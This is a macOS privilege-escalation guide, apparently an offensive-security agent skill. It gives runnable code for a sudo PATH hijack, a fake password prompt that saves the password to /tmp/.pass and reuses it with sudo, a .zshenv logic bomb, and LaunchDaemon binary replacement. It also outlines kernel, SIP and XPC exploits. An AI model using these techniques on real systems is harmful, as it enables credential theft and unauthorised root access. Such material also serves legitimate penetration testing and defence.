macOS Privilege Escalation

A comprehensive guide to macOS privilege escalation techniques, from user interaction attacks to kernel-level vulnerabilities.

Quick Triage Checklist

Start here to identify potential privilege escalation vectors on a macOS system:

# Check for writable privileged helpers
ls -l /Library/PrivilegedHelperTools/

# Check LaunchDaemons for writable plists or programs
ls -l /Library/LaunchDaemons/

# Find user-writable files in privileged locations
find /Library/PrivilegedHelperTools /Library/LaunchDaemons -writable 2>/dev/null

# Check for vulnerable helper calls in logs
log stream --info --predicate 'eventMessage CONTAINS "security_authtrampoline"' --style syslog

User Interaction Attacks

Sudo Hijacking via PATH

macOS preserves the user's

PATH

when executing

sudo

, unlike Linux. This allows hijacking binaries in user-writable directories:

Target locations:

• /opt/homebrew/bin

  (most common on Apple Silicon)

• /usr/local/bin

  (Intel Macs)
• Any directory in user's PATH before system paths

Example hijack:

# Create malicious binary in Homebrew path
cat > /opt/homebrew/bin/ls <<'EOF'
#!/bin/bash
if [ "$(id -u)" -eq 0 ]; then
    whoami > /tmp/privesc
fi
/bin/ls "$@"
EOF
chmod +x /opt/homebrew/bin/ls

# Victim runs: sudo ls

Dock Impersonation

Create fake applications that appear in the Dock to trick users into granting privileges:

Key steps:

1. Create

   .app

   bundle structure
2. Copy legitimate app icon
3. Create malicious executable
4. Add to Dock using

   defaults write

5. Trigger

   killall Dock

   to refresh

Target applications:

• Google Chrome (common, recognizable)
• Finder (cannot be removed, place fake next to real)
• System utilities (Terminal, System Preferences)

Use the bundled script:

scripts/dock-impersonation.sh

Password Prompt Phishing

Capture sudo-capable passwords through social engineering:

Pattern:

1. Identify logged-in user with

   whoami

2. Loop password prompts until

   dscl . -authonly

   succeeds
3. Cache credential and use with

   sudo -S

Example flow:

user=$(whoami)
while true; do
  read -s -p "Password: " pw; echo
  dscl . -authonly "$user" "$pw" && break
done
printf '%s\n' "$pw" > /tmp/.pass

# Reuse for privileged actions
printf '%s\n' "$pw" | sudo -S xattr -c /tmp/payload
printf '%s\n' "$pw" | sudo -S cp /tmp/payload /Library/LaunchDaemons/

Modern macOS Vectors (2023-2025)

AuthorizationExecuteWithPrivileges Abuse

Deprecated in 10.7 but still functional on Sonoma/Sequoia. Many updaters use

/usr/libexec/security_authtrampoline

with untrusted paths.

Detection:

log stream --info --predicate 'eventMessage CONTAINS "security_authtrampoline"'

Exploitation:

1. Find vulnerable helper calls
2. Replace expected binary with trojan
3. Trigger legitimate update to spawn payload

Privileged Helper / XPC Triage

Modern macOS privilege escalations often involve root LaunchDaemons exposing Mach/XPC services.

Use the bundled script:

scripts/privileged-helper-triage.sh

What to look for:

• Helpers accepting requests after uninstall
• Scripts executed from

  /Applications/...

  or user-writable paths
• PID-based or bundle-id-only peer validation (raceable)
• Root methods consuming user-controlled paths

PackageKit Script Environment Inheritance (CVE-2024-27822)

Affected versions: Sonoma < 14.5, Ventura < 13.6.7, Monterey < 12.7.5

Vulnerability: User-initiated installs via

Installer.app

execute PKG scripts as root inside the current user's environment. Shell scripts (

#!/bin/zsh

) load

~/.zshenv

as root.

Logic bomb pattern:

# Plant payload in shell startup
echo 'id > /tmp/pkg-root' >> ~/.zshenv

# Wait for vulnerable zsh-based installer

Use the bundled script:

scripts/packagekit-inspect.sh

LaunchDaemon Plist Hijack (CVE-2025-24085 Pattern)

If a LaunchDaemon plist or its

ProgramArguments

target is user-writable:

Exploitation steps:

1. Unload the LaunchDaemon
2. Replace the binary
3. Modify the plist
4. Reload the LaunchDaemon

Example:

sudo launchctl bootout system /Library/LaunchDaemons/com.example.plist
cp /tmp/root.sh /Library/PrivilegedHelperTools/example
chmod 755 /Library/PrivilegedHelperTools/example
# Modify plist to point to new binary
sudo launchctl bootstrap system /Library/LaunchDaemons/com.example.plist

XNU SMR Credential Race (CVE-2025-24118)

Vulnerability: Race in

kauth_cred_proc_update

allows corruption of

proc_ro.p_ucred

pointer.

PoC structure:

// Thread A
while (1) setgid(rand());
// Thread B  
while (1) getgid();

Impact: Reliable local kernel privilege escalation without SIP bypass.

SIP Bypass via Migration Assistant (CVE-2023-32369 "Migraine")

Prerequisites: Already have root on live system

Chain:

1. Trigger

   systemmigrationd

   with crafted state
2. Run attacker-controlled binary
3. Use inherited

   com.apple.rootless.install.heritable

   entitlement
4. Patch SIP-protected files for persistence

NSPredicate/XPC Expression Smuggling (CVE-2023-23530/23531)

Vulnerability: Apple daemons accept NSPredicate objects over XPC, validating only

expressionType

field.

Impact: Code execution in root/system XPC services (e.g.,

coreduetd

,

contextstored

) when combined with sandbox escape.

Detection: Look for XPC endpoints that deserialize predicates without robust visitor validation.

TCC - Root Privilege Escalation

CVE-2020-9771 - mount_apfs TCC Bypass

Prerequisites: Application with Full Disk Access (FDA) granted

Technique: Any user can create and mount Time Machine snapshots, accessing all files from that point in time.

Steps:

# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /

# Mount snapshot (noowners allows current user access)
mkdir /tmp/snap
/sbin/mount_apfs -o noowners -s <snapshot-name> /System/Volumes/Data /tmp/snap

# Access files
ls /tmp/snap/Users/admin_user

Use case: Access files from before a security update, or read protected files from a snapshot.

Sensitive Information

For sensitive file locations useful in privilege escalation, see:

• macos-files-folders-and-binaries/macos-sensitive-locations.md

References

• Microsoft "Migraine" SIP bypass (CVE-2023-32369)
• CVE-2025-24118 SMR credential race
• CVE-2024-27822: macOS PackageKit Privilege Escalation
• CVE-2024-30165: AWS Client VPN for macOS Local Privilege Escalation
• CVE-2020-9771 Original Report

Related Skills

• macos-tcc

  - TCC permission manipulation

• macos-sensitive-locations

  - Sensitive file locations

• macos-xpc-authorization

  - XPC authorization bugs

• macos-installers-abuse

  - Installer-specific abuse techniques